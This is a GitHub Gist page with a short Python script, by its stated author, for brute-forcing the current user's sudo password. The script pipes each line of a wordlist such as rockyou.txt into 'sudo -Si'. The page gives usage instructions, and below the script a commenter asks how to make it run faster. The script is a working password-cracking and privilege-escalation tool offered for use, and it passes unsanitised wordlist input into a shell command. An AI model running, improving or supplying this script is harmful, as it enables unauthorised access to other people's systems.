Last active
April 8, 2024 05:12
-
-
Save ramuta/e32865d911e087844fc8c526a72fea49 to your computer and use it in GitHub Desktop.
A Python script to brute force the sudo password of a current user.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Author: Matej Ramuta | |
# How to use this script: | |
# 1. You need to have a wordlist file, something like rockyou.txt | |
# 2. Make sure you have Python 3 installed. Try this with "python --version" command. Also check "python3 --version" | |
# 3. Run the script like this: python sudo_brute_force.py passwords.txt | |
import os | |
import sys | |
if len(sys.argv) == 1: | |
print("You need to add a wordlist! Run the script like this: python sudo_brute_force.py passwords.txt") | |
exit() | |
wordfile = sys.argv[1] | |
print("Brute force sudo password with wordlist {}".format(wordfile)) | |
print() | |
with open(wordfile, "r") as wordlist: | |
for password in wordlist: | |
print(password) | |
result = os.system("echo '{}' | sudo -Si".format(password.strip())) # important: strip() the newline char | |
if result == "0" or result == 0: | |
print("Success! :) The password is: {}".format(password)) | |
break | |
else: | |
print("Wrong password... :( Let's try again!") | |
print() |
is there any way to make it run faster?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@trawn3333 there are better ways to do this if you forgot your password. But hit me up if you still want this.